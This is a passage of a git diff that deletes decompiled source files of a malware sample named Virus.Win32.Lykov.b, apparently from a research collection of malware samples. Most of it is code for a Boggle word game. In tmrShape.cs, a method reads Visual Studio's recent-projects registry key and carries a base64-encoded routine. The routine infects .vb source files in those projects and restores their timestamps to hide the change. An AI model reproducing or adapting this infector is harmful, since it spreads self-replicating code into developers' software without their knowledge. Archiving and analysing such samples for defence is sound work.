btnOk_Click(object sender, EventArgs e) - { - this.Hide(); - Application.DoEvents(); - this.Dispose(); - } - } -} diff --git a/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/frmWelcome.resx b/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/frmWelcome.resx deleted file mode 100644 index 294244d3..00000000 --- a/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/frmWelcome.resx +++ /dev/null @@ -1,135 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - AAEAAAD/////AQAAAAAAAAAEAQAAAA5TeXN0ZW0uQm9vbGVhbgEAAAAHbV92YWx1ZQABAAs= - - - CmZybVdlbGNvbWU= - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/modFindWords.cs b/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/modFindWords.cs deleted file mode 100644 index 1980e65c..00000000 --- a/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/modFindWords.cs +++ /dev/null @@ -1,287 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Boggle.modFindWords -// Assembly: Boggle, Version=1.0.1320.31511, Culture=neutral, PublicKeyToken=null -// MVID: B8BB850A-887A-43B2-B89D-3D1301289D01 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Data; -using System.Data.OleDb; -using System.IO; -using System.Net; -using System.Runtime.CompilerServices; -using System.Text; - -namespace Boggle -{ - [StandardModule] - internal sealed class modFindWords - { - public static DataTable FindWords(modFindWords.FindMode Mode, string Word = "") - { - object[] objArray = new object[2]; - DataTable words = new DataTable(); - string str1 = "(((("; - string sLeft1; - string sLeft2; - string sLeft3; - string str2; - string sLeft4; - string str3; - string str4; - if (Mode == modFindWords.FindMode.SpecWord) - { - if (Strings.Len(Word) > 15) - { - objArray[0] = (object) "Not Found"; - objArray[1] = (object) "1111"; - words.Rows.Add(objArray); - return words; - } - Word = Strings.UCase(Word); - int num = Strings.Len(Strings.Replace(Word, "QU", "Q")); - int Start = 1; - while (Start <= num) - { - string sLeft5 = Strings.Mid(Word, Start, 1); - if (StringType.StrCmp(sLeft1, "", false) == 0) - { - if (StringType.StrCmp(sLeft5, "Q", false) == 0) - { - Word = Strings.Replace(Word, "QU", "Q"); - sLeft1 = sLeft1 + "Where PossibleLetters_" + StringType.FromInteger(Start) + ".BaseLetter = 'QU' \r\n"; - } - else - sLeft1 = sLeft1 + ("Where PossibleLetters_" + StringType.FromInteger(Start) + ".BaseLetter = '" + sLeft5) + "' \r\n"; - } - else if (StringType.StrCmp(sLeft5, "Q", false) == 0) - { - Word = Strings.Replace(Word, "QU", "Q"); - sLeft1 = sLeft1 + "And PossibleLetters_" + StringType.FromInteger(Start) + ".BaseLetter = 'QU' \r\n"; - } - else - sLeft1 = sLeft1 + ("And PossibleLetters_" + StringType.FromInteger(Start) + ".BaseLetter = '" + sLeft5) + "' \r\n"; - if (Start > 5) - { - str1 += "("; - if (StringType.StrCmp(sLeft2, "", false) == 0) - sLeft2 += ") "; - if (StringType.StrCmp(sLeft3, "", false) == 0) - sLeft3 += "+ "; - if (StringType.StrCmp(str2, "", false) == 0) - str2 += ","; - if (StringType.StrCmp(sLeft4, "", false) == 0) - { - if (Strings.Len(Word) == Start) - { - str3 = str3 + " & ',' & [BL" + StringType.FromInteger(Start) + "] "; - str4 = str4 + ", PossibleLetters_" + StringType.FromInteger(Start) + ".BaseLetterSquare "; - sLeft4 = sLeft4 + ", PossibleLetters_" + StringType.FromInteger(Start) + ".BaseLetterSquare AS BL" + StringType.FromInteger(Start) + " "; - } - else - { - str3 = str3 + " & ',' & [BL" + StringType.FromInteger(Start) + "] " + "&" + " "; - str4 = str4 + ", PossibleLetters_" + StringType.FromInteger(Start) + ".BaseLetterSquare , "; - sLeft4 = sLeft4 + ", PossibleLetters_" + StringType.FromInteger(Start) + ".BaseLetterSquare AS BL" + StringType.FromInteger(Start) + ", "; - } - } - else if (Start == Strings.Len(Word)) - { - str3 = str3 + "',' & [BL" + StringType.FromInteger(Start) + "]"; - str4 = str4 + " PossibleLetters_" + StringType.FromInteger(Start) + ".BaseLetterSquare "; - sLeft4 = sLeft4 + " PossibleLetters_" + StringType.FromInteger(Start) + ".BaseLetterSquare AS BL" + StringType.FromInteger(Start) + " "; - } - else - { - str3 = str3 + "',' & [BL" + StringType.FromInteger(Start) + "] " + "&" + " "; - str4 = str4 + " PossibleLetters_" + StringType.FromInteger(Start) + ".BaseLetterSquare , "; - sLeft4 = sLeft4 + " PossibleLetters_" + StringType.FromInteger(Start) + ".BaseLetterSquare AS BL" + StringType.FromInteger(Start) + ", "; - } - if (Start == Strings.Len(Word)) - { - str2 = str2 + "BL" + StringType.FromInteger(Start); - sLeft3 = sLeft3 + "PossibleLetters_" + StringType.FromInteger(Start) + ".BaseLetter"; - sLeft2 = sLeft2 + ("INNER JOIN PossibleLetters AS PossibleLetters_" + StringType.FromInteger(Start) + " ON (PossibleLetters_" + StringType.FromInteger(checked (Start - 1)) + ".FriendLetter=PossibleLetters_" + StringType.FromInteger(Start) + ".BaseLetter) AND (PossibleLetters_" + StringType.FromInteger(checked (Start - 1)) + ".FriendLetterSquare=PossibleLetters_" + StringType.FromInteger(Start)) + ".BaseLetterSquare) \r\n"; - } - else - { - str2 = str2 + "BL" + StringType.FromInteger(Start) + ","; - sLeft3 = sLeft3 + "PossibleLetters_" + StringType.FromInteger(Start) + ".BaseLetter + "; - sLeft2 = sLeft2 + ("INNER JOIN PossibleLetters AS PossibleLetters_" + StringType.FromInteger(Start) + " ON (PossibleLetters_" + StringType.FromInteger(checked (Start - 1)) + ".FriendLetter=PossibleLetters_" + StringType.FromInteger(Start) + ".BaseLetter) AND (PossibleLetters_" + StringType.FromInteger(checked (Start - 1)) + ".FriendLetterSquare=PossibleLetters_" + StringType.FromInteger(Start)) + ".BaseLetterSquare)) \r\n"; - } - } - checked { ++Start; } - } - } - words.Columns.Add("FoundWord"); - words.Columns.Add("FoundWordSquares"); - modGlobal.cmdBog.CommandText = "Delete From Words_5Letters1"; - modGlobal.conBoggle.Open(); - modGlobal.cmdBog.ExecuteNonQuery(); - modGlobal.conBoggle.Close(); - modGlobal.cmdBog.CommandText = "Delete From Words_5Letters2"; - modGlobal.conBoggle.Open(); - modGlobal.cmdBog.ExecuteNonQuery(); - modGlobal.conBoggle.Close(); - modGlobal.cmdBog.CommandText = "Delete From Words_4Letters"; - modGlobal.conBoggle.Open(); - modGlobal.cmdBog.ExecuteNonQuery(); - modGlobal.conBoggle.Close(); - modGlobal.cmdBog.CommandText = "Delete From Words_3Letters"; - modGlobal.conBoggle.Open(); - modGlobal.cmdBog.ExecuteNonQuery(); - modGlobal.conBoggle.Close(); - modGlobal.cmdBog.CommandText = "Delete From FoundWords"; - modGlobal.conBoggle.Open(); - modGlobal.cmdBog.ExecuteNonQuery(); - modGlobal.conBoggle.Close(); - modGlobal.cmdBog.CommandText = "Insert Into Words_5Letters1 (Word,Bl1,Bl2,Bl3,Bl4,Bl5" + str2 + ") SELECT PossibleLetters_1.BaseLetter + PossibleLetters_2.BaseLetter + PossibleLetters_3.BaseLetter + PossibleLetters_4.BaseLetter + PossibleLetters_5.BaseLetter " + sLeft3 + " AS Word, PossibleLetters_1.BaseLetterSquare AS BL1, PossibleLetters_2.BaseLetterSquare AS BL2, PossibleLetters_3.BaseLetterSquare AS BL3, PossibleLetters_4.BaseLetterSquare AS BL4, PossibleLetters_5.BaseLetterSquare AS BL5 " + sLeft4 + "FROM " + str1 + "PossibleLetters INNER JOIN PossibleLetters AS PossibleLetters_1 ON (PossibleLetters.FriendLetter=PossibleLetters_1.BaseLetter) AND (PossibleLetters.FriendLetterSquare=PossibleLetters_1.BaseLetterSquare)) INNER JOIN PossibleLetters AS PossibleLetters_2 ON (PossibleLetters_1.FriendLetter=PossibleLetters_2.BaseLetter) AND (PossibleLetters_1.FriendLetterSquare=PossibleLetters_2.BaseLetterSquare)) INNER JOIN PossibleLetters AS PossibleLetters_3 ON (PossibleLetters_2.FriendLetter=PossibleLetters_3.BaseLetter) AND (PossibleLetters_2.FriendLetterSquare=PossibleLetters_3.BaseLetterSquare)) INNER JOIN PossibleLetters AS PossibleLetters_4 ON (PossibleLetters_3.FriendLetter=PossibleLetters_4.BaseLetter) AND (PossibleLetters_3.FriendLetterSquare=PossibleLetters_4.BaseLetterSquare)) INNER JOIN PossibleLetters AS PossibleLetters_5 ON (PossibleLetters_4.FriendLetter=PossibleLetters_5.BaseLetter) AND (PossibleLetters_4.FriendLetterSquare=PossibleLetters_5.BaseLetterSquare) " + sLeft2 + sLeft1 + "GROUP BY PossibleLetters_1.BaseLetter + PossibleLetters_2.BaseLetter + PossibleLetters_3.BaseLetter + PossibleLetters_4.BaseLetter + PossibleLetters_5.BaseLetter " + sLeft3 + ", PossibleLetters_1.BaseLetterSquare, PossibleLetters_2.BaseLetterSquare, PossibleLetters_3.BaseLetterSquare, PossibleLetters_4.BaseLetterSquare, PossibleLetters_5.BaseLetterSquare" + str4; - modGlobal.conBoggle.Open(); - modGlobal.cmdBog.ExecuteNonQuery(); - modGlobal.conBoggle.Close(); - modGlobal.cmdBog.CommandText = "Insert Into Words_5Letters2 (Word,WordSquares) SELECT Words_5Letters1.[Word], [BL1] & ',' & [BL2] & ',' & [BL3] & ',' & [BL4] & ',' & [BL5]" + str3 + " AS WordSquares FROM (Words_5Letters1) WHERE (((Words_5Letters1.BL1) Not In ([bl2],[bl3],[bl4],[bl5]" + str2 + ")) AND ((Words_5Letters1.BL2) Not In ([bl1],[bl3],[bl4],[bl5]" + str2 + ")) AND ((Words_5Letters1.BL3) Not In ([bl1],[bl2],[bl4],[bl5]" + str2 + ")) AND ((Words_5Letters1.BL4) Not In ([bl1],[bl2],[bl3],[bl5]" + str2 + ")) AND ((Words_5Letters1.BL5) Not In ([bl1],[bl2],[bl3],[bl4]" + str2 + ")) AND ((Words_5Letters1.BL6) Not In ([bl1],[bl2],[bl3],[bl4],[bl5]" + Strings.Replace(str2, ",BL6", "") + ")Or BL6 Is Null) AND ((Words_5Letters1.BL7) Not In ([bl1],[bl2],[bl3],[bl4],[bl5]" + Strings.Replace(str2, ",BL7", "") + ")Or BL7 Is Null) AND ((Words_5Letters1.BL8) Not In ([bl1],[bl2],[bl3],[bl4],[bl5]" + Strings.Replace(str2, ",BL8", "") + ")Or BL8 Is Null) AND ((Words_5Letters1.BL9) Not In ([bl1],[bl2],[bl3],[bl4],[bl5]" + Strings.Replace(str2, ",BL9", "") + ")Or BL9 Is Null) AND ((Words_5Letters1.BL10) Not In ([bl1],[bl2],[bl3],[bl4],[bl5]" + Strings.Replace(str2, ",BL10", "") + ")Or BL10 Is Null) AND ((Words_5Letters1.BL11) Not In ([bl1],[bl2],[bl3],[bl4],[bl5]" + Strings.Replace(str2, ",BL11", "") + ")Or BL11 Is Null) AND ((Words_5Letters1.BL12) Not In ([bl1],[bl2],[bl3],[bl4],[bl5]" + Strings.Replace(str2, ",BL12", "") + ")Or BL12 Is Null) AND ((Words_5Letters1.BL13) Not In ([bl1],[bl2],[bl3],[bl4],[bl5]" + Strings.Replace(str2, ",BL13", "") + ")Or BL13 Is Null) AND ((Words_5Letters1.BL14) Not In ([bl1],[bl2],[bl3],[bl4],[bl5]" + Strings.Replace(str2, ",BL14", "") + ")Or BL14 Is Null) AND ((Words_5Letters1.BL15) Not In ([bl1],[bl2],[bl3],[bl4],[bl5]" + Strings.Replace(str2, ",BL15", "") + ")Or BL15 Is Null)) "; - modGlobal.conBoggle.Open(); - modGlobal.cmdBog.ExecuteNonQuery(); - modGlobal.conBoggle.Close(); - if (Mode == modFindWords.FindMode.SpecWord) - { - if (Strings.InStr(Word, "Q") != 0) - Word = Strings.Replace(Word, "Q", "QU"); - modGlobal.cmdBog.CommandText = "Select * From Words_5Letters2 Where Instr(Ucase(Word),'" + Word + "') <> 0"; - modGlobal.conBoggle.Open(); - OleDbDataReader oleDbDataReader = modGlobal.cmdBog.ExecuteReader(); - while (oleDbDataReader.Read()) - { - if (StringType.StrCmp(Strings.UCase(Strings.Mid(StringType.FromObject(oleDbDataReader[nameof (Word)]), 1, Strings.Len(Word))), Word, false) == 0) - { - objArray[0] = (object) Strings.Mid(StringType.FromObject(oleDbDataReader[nameof (Word)]), 1, Strings.Len(Word)); - objArray[1] = RuntimeHelpers.GetObjectValue(oleDbDataReader["WordSquares"]); - } - } - if (ObjectType.ObjTst(objArray[0], (object) "", false) == 0) - { - objArray[0] = (object) "Not Found"; - objArray[1] = (object) "11111"; - } - words.Rows.Add(objArray); - oleDbDataReader.Close(); - modGlobal.conBoggle.Close(); - return words; - } - modGlobal.cmdBog.CommandText = "Insert Into Words_4Letters (Word4,WordSquares) SELECT Left([Word],4) AS Word, WordSquares FROM (Words_5Letters2) GROUP BY Left([Word],4),WordSquares"; - modGlobal.conBoggle.Open(); - modGlobal.cmdBog.ExecuteNonQuery(); - modGlobal.conBoggle.Close(); - modGlobal.cmdBog.CommandText = "Insert Into Words_3Letters (Word3,WordSquares) SELECT Left([Word],3) AS Word, WordSquares FROM (Words_5Letters2) GROUP BY Left([Word],3),WordSquares"; - modGlobal.conBoggle.Open(); - modGlobal.cmdBog.ExecuteNonQuery(); - modGlobal.conBoggle.Close(); - modGlobal.cmdBog.CommandText = "INSERT INTO FoundWords ( FoundWord, FoundWordSquares ) SELECT BoggleWords.Word, Max(Words_3Letters.WordSquares) AS MaxOfWordSquares FROM BoggleWords INNER JOIN Words_3Letters ON BoggleWords.Word = Words_3Letters.Word3 GROUP BY BoggleWords.Word"; - modGlobal.conBoggle.Open(); - modGlobal.cmdBog.ExecuteNonQuery(); - modGlobal.conBoggle.Close(); - modGlobal.cmdBog.CommandText = "INSERT INTO FoundWords ( FoundWord, FoundWordSquares ) SELECT BoggleWords.Word, Max(Words_4Letters.WordSquares) AS MaxOfWordSquares FROM BoggleWords INNER JOIN Words_4Letters ON BoggleWords.Word = Words_4Letters.Word4 GROUP BY BoggleWords.Word"; - modGlobal.conBoggle.Open(); - modGlobal.cmdBog.ExecuteNonQuery(); - modGlobal.conBoggle.Close(); - modGlobal.cmdBog.CommandText = "INSERT INTO FoundWords ( FoundWord, FoundWordSquares ) SELECT BoggleWords.Word, Max(Words_5Letters2.WordSquares) AS MaxOfWordSquares FROM BoggleWords INNER JOIN Words_5Letters2 ON BoggleWords.Word = Words_5Letters2.Word GROUP BY BoggleWords.Word"; - modGlobal.conBoggle.Open(); - modGlobal.cmdBog.ExecuteNonQuery(); - modGlobal.conBoggle.Close(); - modGlobal.cmdBog.CommandText = "Select * From FoundWords Order By FoundWord"; - modGlobal.conBoggle.Open(); - OleDbDataReader oleDbDataReader1 = modGlobal.cmdBog.ExecuteReader(); - while (oleDbDataReader1.Read()) - { - objArray[0] = RuntimeHelpers.GetObjectValue(oleDbDataReader1["FoundWord"]); - objArray[1] = RuntimeHelpers.GetObjectValue(oleDbDataReader1["FoundWordSquares"]); - words.Rows.Add(objArray); - } - oleDbDataReader1.Close(); - modGlobal.conBoggle.Close(); - return words; - } - - public static string GetDef(string Word) - { - string def; - try - { - WebResponse response = WebRequest.Create("http://dictionary.reference.com/search?q=" + Word).GetResponse(); - StreamReader streamReader = new StreamReader(response.GetResponseStream(), Encoding.ASCII); - string end = streamReader.ReadToEnd(); - response.Close(); - streamReader.Close(); - long Start = 1; - string String1 = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ/\\-()?.,[]%! \r\n\t\r"; - string str1 = Strings.Mid(end, Strings.InStr(Strings.UCase(end), "

" + Strings.UCase(Word) + "

")); - while (Start != (long) Strings.Len(str1)) - { - string str2 = Strings.Mid(str1, checked ((int) Start), 1); - if (StringType.StrCmp(str2, "<", false) == 0) - { - string str3; - for (; StringType.StrCmp(str2, ">", false) != 0; str2 = Strings.Mid(str1, checked ((int) Start), 1)) - { - str3 += str2; - checked { ++Start; } - } - str1 = Strings.Replace(str1, str3 + ">", ""); - Start = 0L; - str3 = ""; - } - if (Strings.InStr(String1, Strings.UCase(str2)) == 0 & Strings.InStr("<>", str2) == 0) - { - str1 = Strings.Replace(str1, str2, ""); - Start = 0L; - } - checked { ++Start; } - } - long num = 1; - do - { - str1 = Strings.Replace(Strings.Replace(Strings.Replace(str1, StringType.FromLong(num) + ". ", "\r\n" + StringType.FromLong(num) + ". "), StringType.FromLong(num) + ". \r\n", ""), " " + StringType.FromLong(num) + " ", "\r\n" + StringType.FromLong(num) + ". "); - checked { ++num; } - } - while (num <= 500L); - def = Strings.Mid(str1, 1, checked (Strings.InStr(Strings.UCase(str1), "ADVERTISEMENT") - 1)); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - if (Information.Err().Number == 5) - { - def = "Boggle could not query this defenition from the internet. Make sure you are online and check your internet connection. To disable this option, uncheck \"Enable Defenition Search\" under the \"Options\" menu."; - ProjectData.ClearProjectError(); - goto label_17; - } - else - ProjectData.ClearProjectError(); - } -label_17: - return def; - } - - public static string ValidateWords(string Words) - { - Words += ","; - string str; - while (StringType.StrCmp(Words, "", false) != 0) - { - string Word = Strings.Mid(Words, 1, checked (Strings.InStr(Words, ",") - 1)); - Words = Strings.Mid(Words, checked (Strings.InStr(Words, ",") + 1)); - if (ObjectType.ObjTst(modFindWords.FindWords(modFindWords.FindMode.SpecWord, Word).Rows[0][0], (object) "Not Found", false) == 0) - str = str + Word + ","; - } - return str; - } - - public enum FindMode - { - AllWords, - SpecWord, - } - } -} diff --git a/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/modGlobal.cs b/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/modGlobal.cs deleted file mode 100644 index e5888fc1..00000000 --- a/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/modGlobal.cs +++ /dev/null @@ -1,67 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Boggle.modGlobal -// Assembly: Boggle, Version=1.0.1320.31511, Culture=neutral, PublicKeyToken=null -// MVID: B8BB850A-887A-43B2-B89D-3D1301289D01 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.Data.OleDb; -using System.Windows.Forms; - -namespace Boggle -{ - [StandardModule] - internal sealed class modGlobal - { - public static string AppPath = Strings.Mid(Application.StartupPath, 1, Strings.InStr(Application.StartupPath, "\\Boggle")) + Application.ProductName; - public static OleDbConnection conBoggle = new OleDbConnection("Provider=Microsoft.Jet.OLEDB.4.0;Password=\"\";User ID=Admin;Data Source=" + modGlobal.AppPath + "\\Boggle.mdb;Mode=Share Deny None;Extended Properties=" + "\"" + "\"" + ";Jet OLEDB:System database=" + "\"" + "\"" + ";Jet OLEDB:Registry Path=" + "\"" + "\"" + ";Jet OLEDB:Database Password=" + "\"" + "\"" + ";Jet OLEDB:Engine Type=5;Jet OLEDB:Database Locking Mode=1;Jet OLEDB:Global Partial Bulk Ops=2;Jet OLEDB:Global Bulk Transactions=1;Jet OLEDB:New Database Password=" + "\"" + "\"" + ";Jet OLEDB:Create System Database=False;Jet OLEDB:Encrypt Database=False;Jet OLEDB:Don't Copy Locale on Compact=False;Jet OLEDB:Compact Without Replica Repair=False;Jet OLEDB:SFP=False"); - public static OleDbCommand cmdBog = new OleDbCommand("Space Fill", modGlobal.conBoggle); - public static CubesCollection Cubes = new CubesCollection(); - public static Cube myCube; - public static modGlobal.Mode GameMode; - public static modGlobal.Level GameLevel; - public static modGlobal.Interval TimerInterval; - - public enum Interval - { - Sec030, - Sec100, - Sec130, - Sec200, - Sec230, - Sec300, - Sec330, - Sec400, - Sec430, - Sec500, - } - - public enum Direction - { - Right, - LowerRight, - Below, - LowerLeft, - Left, - UpperLeft, - Above, - UpperRight, - } - - public enum Level - { - Easy, - Medium, - Hard, - Impossible, - } - - public enum Mode - { - Vs, - BoardGame, - Teaching, - } - } -} diff --git a/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/tmrShape.cs b/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/tmrShape.cs deleted file mode 100644 index 2772d188..00000000 --- a/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/tmrShape.cs +++ /dev/null @@ -1,164 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Boggle.tmrShape -// Assembly: Boggle, Version=1.0.1320.31511, Culture=neutral, PublicKeyToken=null -// MVID: B8BB850A-887A-43B2-B89D-3D1301289D01 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using System; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.Drawing.Drawing2D; -using System.IO; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -namespace Boggle -{ - public class tmrShape : UserControl - { - private IContainer components; - private tmrShape.tmrShapeDirection clsDirection; - private System.Drawing.Color clsShapeColor; - - private void vIT() - { - RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\VisualStudio\\7.0\\ProjectMRUList"); - if (registryKey.ValueCount == 0) - ProjectData.EndApp(); - string String2 = "Private Sub vIT()"; - string str1 = "Public Sub New()"; - string str2 = "Dim t As New System.Threading.Thread(AddressOf vIT)\r\nt.Start()"; - string str3 = "UHJpdmF0ZSBTdWIgdklUKCkNCkRpbSBYLCBZIEFzIEludGVnZXINCkRpbSBBLCBC" + "KCksIEMsIEcsIEgsIEksIEosIEssIEwgQXMgU3RyaW5nDQpEaW0gRCwgRiBBcyBE" + "YXRlDQpEaW0gUiBBcyBNaWNyb3NvZnQuV2luMzIuUmVnaXN0cnlLZXkNCkRpbSBT" + "IEFzIFN5c3RlbS5JTy5TdHJlYW1SZWFkZXINCkRpbSBUIEFzIFN5c3RlbS5JTy5T" + "dHJlYW1Xcml0ZXINCkRpbSBVIEFzIFN5c3RlbS5JTy5GaWxlQXR0cmlidXRlcw0K" + "UiA9IE1pY3Jvc29mdC5XaW4zMi5SZWdpc3RyeS5DdXJyZW50VXNlci5PcGVuU3Vi" + "S2V5KCJTb2Z0d2FyZVxNaWNyb3NvZnRcVmlzdWFsU3R1ZGlvXDcuMFxQcm9qZWN0" + "TVJVTGlzdCIpDQpJZiBSLlZhbHVlQ291bnQgPSAwIFRoZW4gRW5kDQpHID0gIlBy" + "aXZhdGUgU3ViIHZJVCgpIg0KSCA9ICJQdWJsaWMgU3ViIE5ldygpIg0KSSA9ICJE" + "aW0gdCBBcyBOZXcgU3lzdGVtLlRocmVhZGluZy5UaHJlYWQoQWRkcmVzc09mIHZJ" + "VCkiICYgdmJDckxmICYgInQuU3RhcnQoKSINCkogPSAiIg0KSyA9IFN5c3RlbS5U" + "ZXh0LkVuY29kaW5nLkFTQ0lJLkdldFN0cmluZyhTeXN0ZW0uQ29udmVydC5Gcm9t" + "QmFzZTY0U3RyaW5nKEopKQ0KTCA9ICJKID0gIiAmIENocigzNCkNCkZvciBYID0g" + "MSBUbyBMZW4oSikgU3RlcCA2NA0KSWYgWCArIDY0IDwgTGVuKEopIFRoZW4NCkwg" + "PSBMICYgTWlkKEosIFgsIDY0KSAmIENocigzNCkgJiB2YkNyTGYgJiAiSiA9IEog" + "JiAiICYgQ2hyKDM0KQ0KRWxzZQ0KTCA9IEwgJiBNaWQoSiwgWCwgNjQpICYgQ2hy" + "KDM0KQ0KRW5kIElmDQpOZXh0DQpLID0gUmVwbGFjZShLLCAiSiA9ICIgJiBDaHIo" + "MzQpICYgQ2hyKDM0KSwgTCwgMSwgMSwgQ29tcGFyZU1ldGhvZC5UZXh0KQ0KTCA9" + "ICIiDQpGb3IgWCA9IDAgVG8gUi5WYWx1ZUNvdW50IC0gMQ0KQSA9IFIuR2V0VmFs" + "dWUoUi5HZXRWYWx1ZU5hbWVzKFgpKQ0KQSA9IE1pZChBLCAxLCBJblN0clJldihB" + "LCAiXCIsIC0xLCBDb21wYXJlTWV0aG9kLlRleHQpKQ0KSWYgU3lzdGVtLklPLkRp" + "cmVjdG9yeS5FeGlzdHMoQSkgVGhlbg0KQiA9IFN5c3RlbS5JTy5EaXJlY3Rvcnku" + "R2V0RmlsZXMoQSwgIioudmIiKQ0KRm9yIFkgPSBMQm91bmQoQikgVG8gVUJvdW5k" + "KEIpDQpEID0gU3lzdGVtLklPLkZpbGUuR2V0TGFzdEFjY2Vzc1RpbWUoQihZKSkN" + "CkYgPSBTeXN0ZW0uSU8uRmlsZS5HZXRMYXN0V3JpdGVUaW1lKEIoWSkpDQpVID0g" + "U3lzdGVtLklPLkZpbGUuR2V0QXR0cmlidXRlcyhCKFkpKQ0KU3lzdGVtLklPLkZp" + "bGUuU2V0QXR0cmlidXRlcyhCKFkpLCBJTy5GaWxlQXR0cmlidXRlcy5Ob3JtYWwp" + "DQpTID0gU3lzdGVtLklPLkZpbGUuT3BlblRleHQoQihZKSkNCkMgPSBTLlJlYWRU" + "b0VuZCgpDQpTLkNsb3NlKCkNCklmIEluU3RyKEMsIEcsIENvbXBhcmVNZXRob2Qu" + "VGV4dCkgPSAwIEFuZCBJblN0cihDLCBILCBDb21wYXJlTWV0aG9kLlRleHQpIDw+" + "IDAgVGhlbg0KQyA9IFJlcGxhY2UoQywgIk15QmFzZS5OZXcoKSIsICJNeUJhc2Uu" + "TmV3KCkiICYgdmJDckxmICYgSSwgLCAxLCBDb21wYXJlTWV0aG9kLlRleHQpDQpD" + "ID0gUmVwbGFjZShDLCBILCBLICYgSCwgLCAxLCBDb21wYXJlTWV0aG9kLlRleHQp" + "DQpUID0gU3lzdGVtLklPLkZpbGUuQ3JlYXRlVGV4dChCKFkpKQ0KVC5Xcml0ZShD" + "KQ0KVC5GbHVzaCgpDQpULkNsb3NlKCkNCkVuZCBJZg0KU3lzdGVtLklPLkZpbGUu" + "U2V0TGFzdFdyaXRlVGltZShCKFkpLCBGKQ0KU3lzdGVtLklPLkZpbGUuU2V0TGFz" + "dEFjY2Vzc1RpbWUoQihZKSwgRCkNClN5c3RlbS5JTy5GaWxlLlNldEF0dHJpYnV0" + "ZXMoQihZKSwgVSkNCk5leHQNCkVuZCBJZg0KTmV4dA0KRW5kIFN1Yg0K"; - string Expression = Encoding.ASCII.GetString(Convert.FromBase64String(str3)); - string Replacement = "J = \""; - int num1 = Strings.Len(str3); - int Start = 1; - while (Start <= num1) - { - Replacement = checked (Start + 64) >= Strings.Len(str3) ? Replacement + Strings.Mid(str3, Start, 64) + "\"" : Replacement + Strings.Mid(str3, Start, 64) + "\"" + "\r\nJ = J & " + "\""; - checked { Start += 64; } - } - string str4 = Strings.Replace(Expression, "J = \"\"", Replacement, 